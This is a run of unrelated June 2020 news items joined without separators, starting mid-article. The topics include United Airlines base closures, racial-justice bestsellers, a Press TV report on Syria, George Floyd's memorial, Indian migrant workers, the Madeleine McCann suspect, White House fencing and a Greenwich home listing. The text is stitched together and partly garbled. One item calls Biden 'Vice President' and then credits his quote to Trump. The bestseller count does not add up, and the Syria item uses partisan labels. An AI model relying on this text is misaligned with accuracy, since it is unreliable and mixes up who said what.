"This was certainly a very difficult decision to make, and we recognize that closing any base places a hardship on those who live near those locations," John Slater, United's senior vice president of inflight services, said in the memo. "In the current and future environment, we simply are not able to sustain an Inflight Base at these locations."

Flight attendants at those locations will be given the chance to transfer to U.S. bases, depending on work eligibility, the memo said.

United also has a flight attendant base for London's Heathrow Airport and a base for U.S. territory Guam.

"While no other base changes are anticipated [at] this time, we'll continue to evaluate the viability of all locations based on the network schedule, government travel restrictions and restoration of demand," said Slater.

The United chapter of the Association of Flight Attendants, which represents the airline's roughly 24,000 cabin crew members called the announcement "a shock for all of us" and said "it will create tremendous uncertainty."
Major retailers and local bookstores alike have seen a surging demand for books about racial justice as protests and demonstrations against police brutality have been held around the world.

Of the top 20 best-selling books on Amazon the morning of June 5, 14 of those books were about racial equality.

Heres the Amazon bestseller list as of 8 a.m. June 5. (The list is updated every hour).

1. White Fragility: Why Its so hard for white people to talk about racism by Robin DiAngelo

2. So You Want to Talk About Race by Ijeoma Oluo

3. How to be an Antiracist by Ibram X. Kendi

4. Were different. Were the Same. (Sesame Street) by Bobbi Kates

5. Stamped from the Beginning: The Definitive History of Racist Ideas in America by Ibram X. Kendi

7. The Color of the Law by Richard Rothstein

8. Between the World and Me by Ta-Nehisi Coates

10. The New Jim Crow by Michelle Alexander

11. Why Are All the Black Kids Sitting Together in the Cafeteria by Beverly Daniel Tatum Ph.D

12. Just Mercy by Bryan Stevenson, an Alabama attorney and leader. The movie based on this book is free to watch through the month of June.

13. Antiracist Baby by Ibram X. Kendi

15. Becoming by Michelle Obama

16. Stamped: Racism, Antiracism and You by Jason Reynolds and Ibram X. Kendi

17. Blackout: How Black America Can Make Its Second Escape from the Democrat Plantation by Candace Owens

Two of the other five books were Where the Crawdads Sing by Delia Owens and The Ballad of Songbirds and Snakes by Suzanne Collins. Crawdads has dominated charts for more than a year while Collins long-awaited prequel to The Hunger Games trilogy was released May 19.

The other three are Untamed by Glennon Doyle, My First Learn to Write Workbook by Crystal Radke, Lose Weight Like Crazy Even if You Have a Crazy Life by Autumn Calabrese and When God Made You by Matthew Paul Turner.

Reading is one really good way to not only learn but put yourself in someone elses shoes. Its heartening to see so many people seeking to understand the world around them through books, said Amanda Borden, director of the Hoover Public Library.

Borden said there are is currently a six month wait to check out a e-book copy of both White Fragility and How to be an Antiracist.

The Hoover library just opened for curbside pickup three days ago after being closed for weeks due to COVID-19, so Borden said library business is far from usual, but she said trends seen at major booksellers are generally reflected in the library.

If its selling out at Barnes and Noble, it will be on a waiting list at the library. Any trends out there, will see the same trends at the library, she said.

Over the last few days, libraries, bookstores and activists have curated lists of recommended books for people interested in learning about white privilege, racism and equality.

One such list, shared on Twitter by Victoria Alexander, has been retweeted more than 57,000 times.

Ive been getting a lot of questions from my non-Black friends about how to be a better ally to Black people. I suggest unlearning and relearning through literature as just one good jumping off point, and have broken up my anti-racist reading list into sections: pic.twitter.com/gj5uko69OY  Victoria Alexander (@victoriaalxndr) May 30, 2020

Ive been getting a lot of questions from my non-Black friends about how to be a better ally to Black people. I suggest unlearning and relearning through literature as just one good jumping off point, and have broken up my anti-racist reading list into sections: Alexander wrote in the first tweet of her thread.

Continuing, she posted seven photos with each photo dedicated to a different genre of anti-racism books, feminism, LGBTQ, biographies and black-centered fiction.

Local libraries have also created lists, including the Huntsville-Madison County Public Library. Pelham Public Library has shared a list of titles for children created by EmbraceRace--a group dedicated to fighting systematic racism by providing parents resources to raise children who are informed about race. The Pelham library is currently only open for curbside service.

Based on bestseller lists and library holds, it appears White Fragility by Robin DiAngelo is one of the most in-demand books.

White fragility was already on the bestseller list and it has just exploded. The publisher went ahead and sent us an email. They said it will take two weeks to print more books and send them out. Theyre all struggling to keep up with the demand, said Kathleen Wylie, who works at Little Professor Bookseller in Homewood.

Wylie said customers have been calling asking about the book and submitting orders for multiple copies. She said she began noticing the increased requests last weekend.

For these titles, its the first time Ive experienced people trying to get a hold of titles like this, this actively. Its a good thing. Were so happy people want to read these books, Wylie said.

Thank You Books in Birmingham, another independent bookseller has sold out of White Fragility and other similar titles including How to Be an Antiracist and Stamped from the Beginning by Ibram X. Kendi.

In the last few days many of our white customers have asked for recommendations of books by black authors, about the... Posted by Thank You Books on Thursday, June 4, 2020

On June 2, Kendi posted on Instagram about the surge of demand for his book and other books on racism.

This doesnt happen everyday. It is fitting it happens on the day we are Blacking out for Black lives and hopefully supporting our local independent bookstores, too. The #1 and #2 overall bestsellers @amazon right now are two books challenging racism. This is you. 

Thank You Books posted reading lists as well, with lists for children and young adults. The bookstore also provided lists of memoirs, fiction and poetry by black authors.

If you cant find a physical copy of these books, you should be able to find digital copies for e-readers and audiobook form. If you have a library card, you can listen to and read these books for free through the Libby and Hoopla apps. Check with your local library to see which digital platforms your library supports.
Syrian protesters in Hasakah demand withdrawal of US-backed SDF militants

Iran Press TV

Thursday, 04 June 2020 2:41 PM

Dozens of people in the southern countryside of Syria's northeastern province of Hasakah have staged a rally in protest at the arbitrary practices of the militants affiliated with the so-called Syrian Democratic Forces (SDF), demanding the withdrawal of the US-backed Takfiris from the area.

Syria's official news agency SANA, citing local sources, reported that the residents of al-Shaddadi town, located about 38 kilometers (24 miles) from the border with Iraq, demonstrated on Thursday to express their deep opposition to the arbitrary practices of the militants, including the uptick in the number of civilian abductions and targeted killings, alongside their monopolistic behaviors and brutal use of force.

SANA added that the Syrian protesters blocked the main roads in the town, set a number of tires on fire and chanted slogans in condemnation of SDF conducts against the locals, calling for their exit.

According to the Syrian news agency's report, a protester was killed and three others were wounded after US-backed militants opened fire on them.

Security conditions are reportedly deteriorating in the areas controlled by the SDF in Hasakah and the neighboring Dayr al-Zawr province amid ongoing raids and arrests of civilians by the US-sponsored militants.

Numerous raids and arrests have taken place throughout Dayr al-Zawr province in recent months, including in the villages of Abu Haman, Basirah, al-Shuhayl, Abu Hamam, Garanij, al-Izba, Tabqa and Mansoura.

Locals argue that the SDF's constant raids and arrest campaigns have generated a state of frustration and instability, severely affecting their businesses and livelihoods.

Residents accuse the SDF of stealing crude oil and failing to spend money on service sectors.

Local councils affiliated with the US-backed militants have also been accused of financial corruption. They are said to be embezzling funds provided by donors, neglecting services and not meeting the people's primary needs.

Syria has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding the Takfiri terrorist groups that are wreaking havoc in the country.

The government forces have already managed to undo militant gains across the country and bring back most of Syrian soil under government control.

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After producer Keyar requested Tamil Nadu Government to not immediately allow the release of Master, a section of media projected him as a "vijay hater". But in a recent interaction, Keyar said that he has nothing against Vijay.

"I was worried because such a large gathering will aggravate the pandemic. The immediate-release will also incur a huge loss to the producers of Master. Vijay is the No:1 and No:.2 position in Tamil cinema. Only Bigil and Baahubali 2 touched the 75cr share mark in Kollywood so Master has a high chance to beat it. If the film releases after we control the pandemic, it would help the producers", said Keyar.
Source: Xinhua| 2020-06-05 04:46:02|Editor: huaxia

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The hearse carrying George Floyd's casket arrives at North Central University for a memorial in Minneapolis, Minnesota, the United States, on June 4, 2020. Benjamin Crump, attorney for the family of George Floyd, who was suffocated to death while under police custody, said Thursday that it was the "pandemic of racism" that killed the black man. (Photo by Ben Hovland/Xinhua)

WASHINGTON, June 4 (Xinhua) -- Benjamin Crump, attorney for the family of George Floyd, who was suffocated to death while under police custody, said Thursday that it was the "pandemic of racism" that killed the black man.

"It was not the coronavirus pandemic that killed George Floyd," Crump said during the first memorial for Floyd since his brutal killing. "The other pandemic that we're far too familiar with in America, the pandemic of racism and discrimination that killed George Floyd."

In a packed auditorium at North Central University in downtown Minneapolis -- the city in which Floyd was killed by four former police officers -- the Floyd family, civil rights advocates, Minnesota state officials, and federal lawmakers including Senator Amy Klobuchar and Representative Ilhan Omar, as well as celebrities, gathered together to memorialize yet another victim of racial injustice in the country.

"We don't want two justice systems in America. One for black and one for white," Crump said, echoing his own words a day earlier ahead of the announcement of charges against the cops involved. "What we endeavor to achieve is equal gestures for the United States of America."

Prior to the memorial, hundreds of Minneapolis residents paid their tribute to Floyd by laying wreaths at a makeshift memorial site near the store where Floyd died. "All these people came to see my brother. And that is amazing to me that he touched so many people's hearts," Floyd's brother Philonise Floyd said at the memorial.

"Everybody wants justice, we want justice for George. He's going to get it. He's going to get it," he said.

Floyd's death has instigated nationwide protests against police abuse and racial discrimination at a time when the nation is still grappling with the spread of the coronavirus.

Although violent rioting has by and large subsided, peaceful demonstrations continued following Wednesday's announcement that Derek Chauvin, the one who kept kneeling on Floyd's neck even as he lost consciousness, was charged with second-degree murder, and that the three others received charges of aiding and abetting murder.

"I'm proud of the protests, but I'm not proud of the destruction. My brother wasn't about that," Terrace Floyd, another brother of Floyd's, said in Brooklyn, New York, where a memorial service was being held simultaneously.

At the Minneapolis memorial, civil rights activist Alfred Sharpton said the reason African Americans have been marginalized is that the country kept its "knee on our necks."

"We had creative skills, we could do whatever anybody else could do, but we couldn't get your knee off our neck," he said. "What happened to Floyd happens every day in this country, in education, in health services, and in every area of American life. It is time for us to stand up in George's name and say, get your knee off our necks."
With almost 90% of migrant workers having returned to their hometowns or villages after the lockdown enforced for the coronavirus disease (Covid-19) on March 25, the Supreme Court on Friday set out on its next task of asking states to prepare a roadmap for providing jobs to the returnees.

Reserving its order until Tuesday on the transport of stranded migrant workers, a bench of justices Ashok Bhushan, SK Kaul and MR Shah broadly indicated that its order will require states to inform the apex court, which has taken suo moto cognisance of the matter, about schemes for providing employment to migrant workers who have returned to their home towns.

Solicitor general Tushar Mehta informed the Court that around 10 million migrant workers had been transported to their destinations in 4,228 Shramik Special trains between May 1 and June 3.

On the deaths of some workers aboard the trains, Mehta informed the court that Indian Railways, in its investigations, had found that these deaths occurred because of comorbidities and not for lack of water, food or medical care.

The maximum number of trains ended up in Bihar and Uttar Pradesh and some 171 trains are scheduled to run in the coming days to transport the remaining migrant workers who remain stranded. Mehta said 90% of migrant workers had returned to their destinations and based on demand from the states, trains will be provided within a short notice period of 24 hours.

The bench indicated that it would not prolong the issue concerning transportation and would be fixing a deadline of 15 days for states to inform it of the number of workers who are still stranded and the trains required for their travel back home. The court heard the states make their submissions on whether they had prepared a list of migrants who had returned and the measures being undertaken to provide them employment opportunities.

We propose that all states should put on record what scheme they have prepared for providing employment to these workers who have come. We would also like a district-wise or village-wise data on who has come in and from where. The Court proposes to include this in its June 9 order.

Bihar was the only state which had done something on the matter. Senior advocate Ranjit Kumar, appearing for the state, informed the court that in all, 2.8 million migrants had returned and no more are stranded in any states. The state has undertaken skill mapping of those workers who returned and have so far covered 1 million people. A process to provide them skilled or unskilled work has started.

Uttar Pradesh, which received 2.17 million migrant workers through 1,664 Shramik trains, claimed that the state had not charged the workers for their travel expenses and food. The court told UP that now that the workers had returned to their villages, counselling centres could be opened at district or block levels to provide information to workers who wished to return to their workplaces. Kerala was the only state which informed the court of its inability to pay for the fare of migrant workers. But the bench directed the state to make the payment.

Delhi claimed that about 300,000 migrants had exited the capital while close to 200,000 still remain. Most among them do not plan to return, said additional solicitor general (ASG) Sanjay Jain, appearing for Delhi. Maharashtra informed the court that 1.1 million migrant workers had left the state and some 38,000 remain. West Bengal stated before the court that it does not have data on migrant workers who intend to reach the state. Citing a rough estimate, the state counsel informed the bench that roughly 600,000 persons are still to return.

Solicitor general Mehta informed the court that West Bengal had requested 17 trains and Maharashtra has indicated demand for one train Mehta told the court that the present system of registration, transportation and quarantine system for migrant workers should be continued.
S ummer is here, and were all ready to go on holiday but, with European holidays looking unlikely until the 14-day quarantine lifts , a UK staycation could be just the ticket.

A survey of 2,023 British adults by Censuswide found that the UK is the most wished-for holiday spot by Brits this year, followed by Spain, USA, Greece and France.

While some UK hotels are starting to plan their reopenings , campsites could be our best bet at a summer holiday this year. The Express reports that in the governments plan to begin easing lockdown restrictions, accommodation businesses are planning to start reopening on July 4 - including campsites, caravan and holiday parks.

Last month, Work and Pensions Secretary Therese Coffey told Sky: Having come from Suffolk down to London, I know there are a lot of campsites that are very keen for people to come. Some of this is being carefully considered, recognising that we have reduced outdoor transmission risk, that things like camping may well become suitable.

Ms Coffey added that campsites could open later this year, potentially in July," as long as infection rates continued to decrease.

Social distancing measures will be in place and campsites will likely open with reduced capacity. Currently, the government advises people only to sleep in their primary residences, but with talks of easing lockdown, camping sites like Cool Camping and Indie Campers have seen a surge in bookings.

Indie Campers has seen a 23 per cent increase in UK domestic bookings in May compared to the same month last year.

At yesterday's daily Coronavirus briefing, Transport Minister Grant Schapps said: The rules are, at the moment, you cant stay somewhere else overnight. We now know we can travel, we can travel as far as we want to and we can even visit people in numbers no more than six. But you still have to return home at night. So that's obviously a limitation at the moment for national holidays.

While July 4 is the cited date for campsite reopenings, this will only happen if the governments tests have been met - including low infection and death rates as well as a reduced strain on the NHS.
The Himachal Pradesh Board of Secondary Education (HPBOSE), Dharamshala, is expected to release the results of the Class 10 board exams by the second week of June.

The Himachal Pradesh Board of Secondary Education (HPBOSE), Dharamshala, is expected to release the results of the Class 10 board exams by the second week of June.

The news comes after the board authorities denied several media reports that claimed the HPBOSE Class 10 results would be out on 5 June (Friday).

Speaking to Amar Ujala, a board official confirmed that the results will not be announced on Friday but the process will take a few more days. According to the official, the results will be released in between 8 and 14 June.

According to Times Now, Suresh Kumar Soni, the chairperson of HPBOSE had clarified on 4 June (Thursday) that uploading the results would take another four or five days.

Students can check their results by going to the official site of the Himachal Pradesh education board or by clicking this link.

While last year the Class 10 board results were out on 29 April, students usually get their results every May. However, candidates had to wait this year due to the COVID-19 pandemic.

No official results date has been given by the board on their site. The board exams of Class 10 students were conducted from 5 to 19 March across various centres around Himachal Pradesh.

The HPBOSE Class 12 exams were held from 4 March and were supposed to continue till 27 March, 2020. As the Geography examination was pending, the board recently announced that it would be conducting the same on 8 June across over 300 centres in the state.

Students have been asked to wear face masks and enter the hall after washing their hands with soap and water. The pending Class 10 exams were, however, not conducted.
The German suspect investigated over the disappearance of Madeleine McCann originally moved to Portugal to flee a prison sentence, it has been reported.

Christian Brueckner, now 43, was 18 when he moved to the Algarve with his then-girlfriend in 1995.

According to official documents viewed by German media, his first conviction for child sex offences happened the previous year and he was handed a two-year juvenile sentence.

Aged 17, Brueckner had abused a six-year-old girl in a playground and exposed himself to a nine-year-old in Bavaria, Bild reported.

His trial last year, where he was convicted of raping a 72-year-old American woman in 2005, heard that he moved to Portugal shortly after his conviction because he was in trouble with the law and did not want to go to jail. It is unclear if he served any time in prison, or what exactly the two-year juvenile sentence consisted of.

We didnt know anything about Portugal, he told the court, according to the Braunschweiger Zeitung.

We went to Lagos because we liked the name so much. We had a tent with us and camped in the wild.

Phone records allegedly show that Brueckner was near the McCanns holiday apartment an hour before Madeleine disappeared on 3 May 2007.

He is believed to have spoken about Madeleine in an internet chat and told a friend he knew what happened in a bar a decade later.

Police said the suspect lived in Portugal between 1995 and 2007, apart from brief spells in Germany.

In 1999 Brueckner was arrested by Portuguese police and sent back to his home country to serve a youth sentence.

He is believed to have served prison sentences in Portugal, where he was known to police for drug dealing and breaking into holiday apartments and hotels.

 German authorities give statement on latest in Madeleine McCann investigation

Back in Germany in 2011, he was sentenced for trafficking narcotic drugs, and then in 2016 he was convicted for child sex abuse and possessing indecent images.

His reported total of 17 previous convictions also include theft and forging documents.

In December last year, Brueckner was convicted of the 2005 rape in Portugal and jailed for seven years, but the sentence has not yet been imposed because of an ongoing appeal.

He is currently serving an unrelated sentence for drug trafficking in the northern German city of Kiel.

Recommended German suspect could be last chance for Madeleine McCann investigation

German court documents show that he has served two-thirds of that sentence and can be considered for parole from Sunday onwards.

But even if a judge decides to release him on probation for the drugs offence, he will remain in custody over the rape case.

Brueckner appealed over that conviction to Germanys Federal Court of Justice, which referred it to the European Court of Justice.

He claims his extradition to Germany under a European Arrest Warrant (EAW) was unlawful because it related to the drug charge rather than the rape.

Brueckner had fled to Italy and was found in Milan in September 2018.

Under the principle of specialty, extradited people can normally only be prosecuted for the crime for which the EAW was granted.

The European Court of Justice received the case on 8 May and The Independent understands that as it was filed under the urgent preliminary ruling procedure, a decision will be made between three to six months from that date.

The Madeleine McCann case Show all 25 1 /25 The Madeleine McCann case The Madeleine McCann case Madeleine McCann One of the last photos of Madeleine before her disappearance EPA The Madeleine McCann case Madeleine McCann Madeleine McCann was three when she was abducted during a family holiday in 2007 The Madeleine McCann case Top worn by a man that detectives investigate with connection to disappearance of Madeleine McCann A computer generated image of the distinctive burgundy long sleeve top worn by a man that detectives investigating the disappearance of Madeleine McCann are looking for The Madeleine McCann case Apartment in Portugal from where Madeleine went missing An aerial view of the Ocean Club apartments and pool where Madeleine McCann went missing Jeff J Mitchell/Getty Images The Madeleine McCann case Kate McCann Kate McCann speaks to the press outside the court house in Lisbon on 12 September 2013 following the first audience of the McCann couple's libel proceedings against former inspector Goncalo Amaral for a book written about the case of their missing daughter The Madeleine McCann case Kate and Gerry McCann Kate McCann and Gerry McCann before the start of the 'Miles for Missing People' charity run in Regent's Park in London, 2011 The Madeleine McCann case Kate and Gerry McCann Kate and Gerry McCann make an appeal at a press conference in the holiday resort of Praia da Luz, Portugal 7 May 2007 The Madeleine McCann case Kate and Gerry McCann The McCann's give an interview with a Spanish television channel at their home in Rothley The Madeleine McCann case Kate and Gerry McCann Madeleine McCann was abducted in Portugal in May 2007 AP The Madeleine McCann case Kate and Gerry McCann Preliminary forensic analysis on samples recovered from the McCanns' hire car raised the possibility of a match with Madeleine's DNA profile, according to the leaked report Getty Images The Madeleine McCann case Kate and Gerry McCann Pope Benedict XVI blesses a photo of four-year-old abducted British girl Madeleine McCann, while meeting her parents Gerry and Kate McCann, after his weekly general audience at the Vatican, 2007 Reuters The Madeleine McCann case Kate and Gerry McCann Gerald McCann and Kate McCann speak to the press on 4 May 2007 at the Ocean club appartement hotel in Praia de Luz in Lagos after Madeline vanished while her parents were out to dinner The Madeleine McCann case Portuguese police search for Madeleine Dozens of Portuguese police aided by dogs search for missing three-year old British girl Madelaine McCann in front of the Ocean club appartment hotel in Praia de Luz in Lagos The Madeleine McCann case Kate and Gerry McCann Gerald McCann and Kate McCann walk holding their two other children outside the Ocean club apartment hotel in Praia de Luz in May 2007 The Madeleine McCann case Madeleine McCann Madeleine McCann pictured at the age of three, left, and as she might have looked aged nine PA/Teri Blythe The Madeleine McCann case Kate and Gerry McCann The parents of missing Madeleine McCann have described as "pure speculation" reports in the Portuguese press suggesting that a chief suspect in the disappearance of their daughter was killed in a tractor accident four years ago. PA The Madeleine McCann case Tribute for missing Madeleine in Rothley, Leicesteshire Three year old Cally prepares to add a yellow ribbon to a floral tribute for missing Madeleine McCann in Rothley in Leicesteshire, 2007 The Madeleine McCann case Support for the missing Madeleine Everton captain Lee Carsley (L) leads his team onto the field, followed Mikel Arteta (C) and Manuel Fernandes (R) wearing Tshirts bearing a message of support for the missing British toddler Madeleine McCann, prior to the English Premiership match between Chelsea and Everton, at Stamford Bridge in London, 2007 The Madeleine McCann case Madeleine McCann A poster appealing for information about Madeleine McCann at a Spanish railway station PA The Madeleine McCann case BBC's Crimewatch reconstruction of Madeleine McCann's disappearance Former porn star Mark Sloan (L) was cast in the BBC's Crimewatch reconstruction of Madeleine McCann's disappearance BBC The Madeleine McCann case Clarence Mitchell holds two artist's impression of the new suspect McCann family spokesman Clarence Mitchell holds two artist's impression of the new suspect on 20 January 2008 in London. The description has come from British woman Gail Cooper, who was staying with her family close to the McCann's apartment in Portugal The Madeleine McCann case Image of a woman sought in the case Clarence Mitchell, the press spokesman for the McCann family, releases a photofit image of a woman sought in the search for missing Madeleine McCann Getty Images The Madeleine McCann case Suspect in disappearance of Madeleine McCann Police released two e-fits of suspect in disappearance of Madeleine McCann Getty Images The Madeleine McCann case Raymond Hewlett Convicted paedophile Raymond Hewlett, who is being sought in connection with the disappearance of Madeleine McCann PA The Madeleine McCann case A picture of a suspect An artist's impression of a suspicious man seen by a witness apparently watching the McCann family's apartment in Praia da Luz, Portugal, the day before Madeleine McCann went missing Channel 4

The Metropolitan Police admitted that Brueckner had been among 600 people previously considered potentially significant in the McCann inquiry.

But investigators said he was not considered a suspect until new information was received in response to an appeal made on the 10th anniversary of her disappearance in 2017.

They did not disclose what that information was, but Sky News reported that Brueckner himself had told a friend that he knew what happened to Madeleine in a Portuguese bar.

A report came on the TV about the anniversary of Madeleines disappearance and he said something to suggest that he knew what happened, said the networks crime correspondent Martin Brunt.

He also allegedly showed a video of himself raping a woman. Video of the rape led to an investigation that last year meant he was convicted of the rape of a tourist on the Algarve in around 2005. That is what brought him back into the frame.

The attack happened in Praia da Luz in September 2005, a year-and-a-half before Madeleine went missing nearby.

Brueckner is believed to have filmed himself beating and raping the 72-year-old victim, who was tied up, on a video camera that was later stolen by an acquaintance.

The man, who said there was also footage of a young woman being abused, later came forward to German police.

A former neighbour who lived near the suspect in Braunschweig, Germany, described him as aggressive and abusive towards women.

A VW T3 Westfalia campervan that has been linked to the suspect (Metropolitan Police)

He told Bild that he had an underage girlfriend from Kosovo around 2015, adding: He always beat her. Once, she even had strangle marks on her neck.

Germanys Federal Criminal Police Office (BKA) admitted that it first received information linking Brueckner to Madeleines disappearance in 2013, following a television appeal by her parents.

But a senior officer said it was not sufficient to trigger an investigation and certainly not for arrest.

The BKA is leading the investigation, which it is treating as a murder inquiry.

There is reason to assume that there are other persons, apart from the suspect, who have concrete knowledge of the course of the crime and maybe also of the place where the body was left, a statement said. We explicitly ask these persons to contact us and provide information.

The Metropolitan Police said they were still treating the case as a missing person investigation, and that they had no definitive evidence indicating whether Madeleine is alive or dead.

As the years go on, we are realistic about what we might be dealing with but there is always hope, said Deputy Assistant Commissioner Stuart Cundy.

We are asking the public for help to prove or disprove whether this man was involved in Madeleines disappearance.

We retain an open mind about his involvement and we will follow the evidence wherever it may take us.

Investigators are appealing for information on a campervan, car and mobile phone number linked to him that could be critical for the case.

Police are seeking information on:

A VW T3 Westfalia campervan. Early 1980s model, with two tone markings, a white upper body and a yellow skirting. It had a Portuguese registration plate.

A 1993 British Jaguar, model XJR 6, with a German number plate and registered in Germany.

The phone number +351 912 730 680, which was being used by the suspect.

The second number is +351 916 510 683, which called the suspect on the night of Madeleines disappearance.

The Operation Grange incident room can be contacted via 0207 321 9251 or operation.grange@met.police.uk.
Sri Lankan security forces have always leaped to ensure the country is brought back to normalcy during every threat. We have been acting beyond the call of duty to oversee the normalcy of the country.





Lieutenant General Shavendra Silva, Chief of Defense Staff, Commander of the Sri Lanka Army, and Head of the National Operational Center for Prevention of COVID -19 addressed the monthly committee meeting of the Ceylon Chamber of Commerce on The Successful Management of the COVID-19 Pandemic in Sri Lanka and the Way Forward recently.





Lieutenant General Shavendra Silva





Noting that managing the pandemic wasnt a singular effort, Lieutenant General Silva elaborated on how the virus was contained in the country, and of the way forward, including the militarys expected contribution in the future.





One of the major factors in managing the pandemic was anticipation and timely decision-making with the assistance of healthcare experts, the military, police, disaster management authorities, key economic figures, intellectuals, researchers, and development agencies. Thereafter, efforts were strategized into three pillars; namely containment, the prevention of further spreading, and minimizing losses of life.





As a prime contender, the Sri Lanka Military was handling quarantine. The choice of military for the confinement was justified as we continued to build, develop, renovate, and function more than fifty quarantine centres throughout the island, he said.





Synergised planning, functional and effective grouping which prevented the spread, strategic communication, and innovative readjustment of strategies were key in managing to control the pandemic.





The final important point, he said, was public support. Lieutenant General Shavendra Silva pointed out how other countries that were still struggling to contain the disease, had a discontinuity in the six factors he identified above.





Speaking about post COVID-19 and the way forward, he stated how security is the basis for post COVID-19 economic rejuvenation. This included economic security, state and public security, food security, cyber security, environmental security, and more.





Sri Lankan security forces have always leaped to ensure the country is brought back to normalcy during every threat. We have been acting beyond the call of duty to oversee the normalcy of the country. Our soldiers are trained, decisive, and have an array of experience in combatting traditional and non-traditional threats, such as extremism, natural disasters, and the most recent pandemic, he added.





While security is a major component of the COVID-19 exit, working to enhance economic resilience, and keeping an eye out for new business opportunities, especially in the fields of tourism, transportation, and medical care were points to keep in mind.





Furthermore, Sri Lanka needs to explore positives, learn from the past, and believe in leadership and the system.





Lieutenant General Shavendra Silva assured the Ceylon Chamber that he would guide the armed forces to re-instate the country from peril, and ensure that the national security environment is sustainable.





I would also like to request our economic counterparts to join hands with us and stand firmly to be Sri Lankan he concluded.
(Newser)  The White House is being "walled off," according to Washington, DC, Mayor Muriel Bowser. Extra fencing was erected around the White House complex Thursday, adding to an 8-foot barrier that went up around the entrance to Lafayette Park earlier in the week and prompting jokes that President Trump is finally getting a wall, NBC News reports. The Secret Service says the fencing will remain up and the area"including the entire Ellipse and its side panels, roadways and sidewalks, E Street and its sidewalks between 15th and 17th Streets, First Division Monument and State Place, Sherman Park and Hamilton Place, Pennsylvania Avenue between 15th and 17th streets, and all of Lafayette Park"will be closed until Wednesday.

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"These closures are in an effort to maintain the necessary security measures surrounding the White House complex, while also allowing for peaceful demonstration," a Secret Service rep said, per CNN. Bowser said Thursday that the "walling off" of the area is a "sad commentary" and she is concerned it might become permanent. "I'm one of those people who grew up in Washington, DC, and has been very accustomed to being able to have access to all of our federal facilities, going up on the Capitol grounds ... from being able to walk all around the Supreme Court, to walk in front of the White House, on both sides, and now all of that is under threat," she said. NBC Washington reports that a city works crew painted "Black Lives Matter" on 16th Avenue, which leads to the White House, early Friday morning. (Read more White House stories.)
At least 21 people have been killed by gunmen in separate attacks in Talata Mafara and Maru local Government Areas of Zamfara State, police and residents said.

The attacks occurred on Tuesday and Wednesday. Police said 21 people were killed in the attacks, but residents of the affected communities said 25 people died in the attacks.

Residents said the attackers first ransacked various peasant communities and stole hundreds of livestock. They, however, met stiff resistance in some communities and retreated, a source said asking not to be identified.

The source, however, said a day later the armed men returned on hundreds of motorcycles, possibly better armed, and killed many in the communities they initially fled from.

People were killed in Awala Zaman Gida, Yargada Bolakke, and Gidan Runji communities all in Maru and Talata Mafara councils areas.

Some of the victims were killed at Zaman Gida community cemetery during the interment of their loved ones earlier killed by the armed men. The bandits reappeared at the cemetery and killed more people, the source added.

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The police spokesperson in Zamfara, Muhammad Shehu, in a statement, confirmed the attacks, he however, refuted some media reports claiming that over one hundred people were killed in the attacks.

He said the attacks occurred on Tuesday and Wednesday in six villages namely:- Tungar Malan, Manyan Karaje, Tungar Arne, Dangodon Maiyakane, Dangodon Mai Masallaci and Boleke in Maru Local Government Area.

The armed bandits attacked with the intention to rustle cows, however, after they were confronted by members of the militia group known as YAN SAKAI, they started shooting sporadically, thereby resulting to the death of fifteen (15) people, while seven (7) people sustained a gunshot wound and rushed to the hospital for treatment, the police said.

Also, the police said the gunmen on June 3 attacked and killed six people in four villages namely:- Gidan Dan Kani, Tungar lauti, Inwala and Dangodo villages in Talata Mafara Local Government Area.

The victims were attacked and killed while returning from the funeral prayer of those killed in the first attack. Five people sustained gunshot wounds and are currently receiving treatment, the police said in the statement.

At the moment, normalcy has been restored in the affected communities, and the command will keep members of the public abreast as soon as new development emerges, the statement said.
Vice President Joe Biden said in a discussion of the George Floyd killing that a large substantial share of Americans are not 'very good people'  as he tried to condemn President Trump but potentially opened himself up to attack.

'There are probably anywhere from 10 to 15 percent of the people out there that are just not very good people,' Biden said in an online discussion with actor Don Cheadle Thursday.

Amid deep divides over police conduct toward African Americans and Trump's decision to proclaim 'law and order' while brandishing the U.S. military in a crackdown, Biden condemned the president's words and tone.

Former Vice President Joe Biden told supporters online in a discussion with actor Don Cheadle that 'there are probably anywhere from 10 to 15 percent of the people out there that are just not very good people'

'The words a president says matter. So when a president stands up and divides people all the time, you're going to get the worst of us to come out. The worst insult to com out.' Biden said.

But he also extended his critique far beyond a small slice of the country. 'Do we really think this is as good as we can be as a nation? I don't think the vast majority of people think that,' he continued.

Biden made his comment in a discussion on the reaction to the death of George Floyd. Here Terrence Floyd (Yankees Cap), brother of George Floyd walks with activists across the Brooklyn Bridge during a rally in response to the killing of his brother by Minneapolis police on June 04, 2020

Derek Chauvin has been charged with second degree murder after being seen on video kneeling on Floyd's neck for almost eight minutes.

In this image from video provided by WBFO, a Buffalo police officer appears to shove a man who walked up to police Thursday, June 4, 2020, in Buffalo, N.Y. amid ongoing protests and unrest over the killing of Floyd

In this image from video posted on Twitter Tuesday, May 5, 2020, Ahmaud Arbery stumbles and falls to the ground after being shot as Travis McMichael stands by holding a shotgun in a neighborhood outside Brunswick, Ga., on Feb. 23, 2020

'There are probably anywhere from 10 to 15 per cent of the people out there that are just not very good people. But that's not who we are. The vast majority of the people are decent, and we have to appeal to that and we have to unite people  bring them together,' Trump said.

His remarks recalled a gaffe by Hillary Clinton during the 2016 elections, where she said half of Trump's supporters could be put in a 'basket of deplorables.' It was a comment that the Trump campaign was able to weaponize as the candidates were battling it out in critical swing states, and that Clinton had to walk back.

She had said half of then-candidate Trump's supporters were 'racist, sexist, homophobic, xenophobic, Islamaphobic.' She later condemned her 'generalistic' statement as well as her math.

Last night I was grossly generalistic, and that's never a good idea. I regret saying half  that was wrong," she said in September.

Clinton had made the remark days earlier at a campaign gala in New York City. Trump immediately made hay out of it, tweeting: 'Wow, Hillary Clinton was SO INSULTING to my supporters, millions of amazing, hard working people. I think it will cost her at the Polls!'

Trump supporters soon embraced the term, and some started up showing up campaign rallies with 'deplorables' signs.
Marisa Arredondo grew up in Greenwichs Field Point Circle community, and when she decided to move back to town in 2013, after some time in New York City, she immediately fell in love with the townhome at 50 Sound View Drive, Unit 3 South, part of the Beacon Hill association. After touring the property, she made an offer on it within hours.

For several years, the property served as her primary residence and as a home office for the launch of her skincare line, Phace Bioactive.

The Beacon Hill units were brand new at the time, Arredondo recalled discovering the property shes recently listed for sale, with the help of Martha Jeffrey of Sothebys International Realtys Greenwich brokerage. Its listed for $4.025 million.

